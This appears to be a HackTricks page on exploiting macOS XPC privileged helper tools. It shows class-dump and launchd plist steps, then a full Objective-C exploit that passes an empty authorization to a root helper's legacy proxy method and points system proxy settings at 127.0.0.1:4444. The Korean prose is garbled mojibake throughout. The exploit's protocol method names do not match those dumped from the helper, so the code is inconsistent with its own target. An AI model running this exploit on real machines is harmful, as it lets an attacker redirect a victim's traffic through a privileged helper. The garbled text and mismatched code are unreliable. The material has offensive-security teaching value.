ํ•จ์ˆ˜ shouldAcceptNewConnection ๋Š” ๋‚ด๋ณด๋‚ด์ง€๋Š” ํ”„๋กœํ† ์ฝœ์„ ๋‚˜ํƒ€๋‚ธ๋‹ค:

์ด ๊ฒฝ์šฐ, EvenBetterAuthorizationSample๊ณผ ๋™์ผํ•˜๋‹ค, check this line.

์‚ฌ์šฉ๋œ ํ”„๋กœํ† ์ฝœ ์ด๋ฆ„์„ ์•Œ๋ฉด, itโ€™s possible to dump its header definition with:

class-dump /Library/PrivilegedHelperTools/com.example.HelperTool

[...]
@protocol HelperToolProtocol
- (void)overrideProxySystemWithAuthorization:(NSData *)arg1 setting:(NSDictionary *)arg2 reply:(void (^)(NSError *))arg3;
- (void)revertProxySystemWithAuthorization:(NSData *)arg1 restore:(BOOL)arg2 reply:(void (^)(NSError *))arg3;
- (void)legacySetProxySystemPreferencesWithAuthorization:(NSData *)arg1 enabled:(BOOL)arg2 host:(NSString *)arg3 port:(NSString *)arg4 reply:(void (^)(NSError *, BOOL))arg5;
- (void)getVersionWithReply:(void (^)(NSString *))arg1;
- (void)connectWithEndpointReply:(void (^)(NSXPCListenerEndpoint *))arg1;
@end
[...]

๋งˆ์ง€๋ง‰์œผ๋กœ, ํ†ต์‹ ์„ ์ˆ˜๋ฆฝํ•˜๊ธฐ ์œ„ํ•ด ๊ณต๊ฐœ๋œ Mach Service์˜ ์ด๋ฆ„๋งŒ ์•Œ๋ฉด ๋ฉ๋‹ˆ๋‹ค. ์ด๋ฅผ ์ฐพ๋Š” ๋ฐฉ๋ฒ•์€ ์—ฌ๋Ÿฌ ๊ฐ€์ง€๊ฐ€ ์žˆ์Šต๋‹ˆ๋‹ค:

  • **[HelperTool init]**์—์„œ Mach Service๊ฐ€ ์‚ฌ์šฉ๋˜๋Š” ๊ฒƒ์„ ๋ณผ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:
  • launchd plist์—์„œ:
cat /Library/LaunchDaemons/com.example.HelperTool.plist

[...]

<key>MachServices</key>
<dict>
<key>com.example.HelperTool</key>
<true/>
</dict>
[...]

Exploit ์˜ˆ์ œ

์ด ์˜ˆ์ œ์—์„œ๋Š” ๋‹ค์Œ์ด ์ƒ์„ฑ๋ฉ๋‹ˆ๋‹ค:

  • ํ•จ์ˆ˜๋“ค์ด ํฌํ•จ๋œ ํ”„๋กœํ† ์ฝœ ์ •์˜
  • ์•ก์„ธ์Šค๋ฅผ ์š”์ฒญํ•˜๋Š” ๋ฐ ์‚ฌ์šฉํ•  ๋นˆ auth
  • XPC ์„œ๋น„์Šค์— ๋Œ€ํ•œ ์—ฐ๊ฒฐ
  • ์—ฐ๊ฒฐ์ด ์„ฑ๊ณตํ•˜๋ฉด ํ•จ์ˆ˜ ํ˜ธ์ถœ
// gcc -framework Foundation -framework Security expl.m -o expl

#import <Foundation/Foundation.h>
#import <Security/Security.h>

// Define a unique service name for the XPC helper
static NSString* XPCServiceName = @"com.example.XPCHelper";

// Define the protocol for the helper tool
@protocol XPCHelperProtocol
- (void)applyProxyConfigWithAuthorization:(NSData *)authData settings:(NSDictionary *)settings reply:(void (^)(NSError *))callback;
- (void)resetProxyConfigWithAuthorization:(NSData *)authData restoreDefault:(BOOL)shouldRestore reply:(void (^)(NSError *))callback;
- (void)legacyConfigureProxyWithAuthorization:(NSData *)authData enabled:(BOOL)isEnabled host:(NSString *)hostAddress port:(NSString *)portNumber reply:(void (^)(NSError *, BOOL))callback;
- (void)fetchVersionWithReply:(void (^)(NSString *))callback;
- (void)establishConnectionWithReply:(void (^)(NSXPCListenerEndpoint *))callback;
@end

int main(void) {
NSData *authData;
OSStatus status;
AuthorizationExternalForm authForm;
AuthorizationRef authReference = {0};
NSString *proxyAddress = @"127.0.0.1";
NSString *proxyPort = @"4444";
Boolean isProxyEnabled = true;

// Create an empty authorization reference
status = AuthorizationCreate(NULL, kAuthorizationEmptyEnvironment, kAuthorizationFlagDefaults, &authReference);
const char* errorMsg = CFStringGetCStringPtr(SecCopyErrorMessageString(status, nil), kCFStringEncodingMacRoman);
NSLog(@"OSStatus: %s", errorMsg);

// Convert the authorization reference to an external form
if (status == errAuthorizationSuccess) {
status = AuthorizationMakeExternalForm(authReference, &authForm);
errorMsg = CFStringGetCStringPtr(SecCopyErrorMessageString(status, nil), kCFStringEncodingMacRoman);
NSLog(@"OSStatus: %s", errorMsg);
}

// Convert the external form to NSData for transmission
if (status == errAuthorizationSuccess) {
authData = [[NSData alloc] initWithBytes:&authForm length:sizeof(authForm)];
errorMsg = CFStringGetCStringPtr(SecCopyErrorMessageString(status, nil), kCFStringEncodingMacRoman);
NSLog(@"OSStatus: %s", errorMsg);
}

// Ensure the authorization was successful
assert(status == errAuthorizationSuccess);

// Establish an XPC connection
NSString *serviceName = XPCServiceName;
NSXPCConnection *xpcConnection = [[NSXPCConnection alloc] initWithMachServiceName:serviceName options:0x1000];
NSXPCInterface *xpcInterface = [NSXPCInterface interfaceWithProtocol:@protocol(XPCHelperProtocol)];
[xpcConnection setRemoteObjectInterface:xpcInterface];
[xpcConnection resume];

// Handle errors for the XPC connection
id remoteProxy = [xpcConnection remoteObjectProxyWithErrorHandler:^(NSError *error) {
NSLog(@"[-] Connection error");
NSLog(@"[-] Error: %@", error);
}];

// Log the remote proxy and connection objects
NSLog(@"Remote Proxy: %@", remoteProxy);
NSLog(@"XPC Connection: %@", xpcConnection);

// Use the legacy method to configure the proxy
[remoteProxy legacyConfigureProxyWithAuthorization:authData enabled:isProxyEnabled host:proxyAddress port:proxyPort reply:^(NSError *error, BOOL success) {
NSLog(@"Response: %@", error);
}];

// Allow some time for the operation to complete
[NSThread sleepForTimeInterval:10.0f];

NSLog(@"Finished!");
}

์•…์šฉ๋œ ๊ธฐํƒ€ XPC ๊ถŒํ•œ ํ—ฌํผ

์ฐธ๊ณ ์ž๋ฃŒ

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ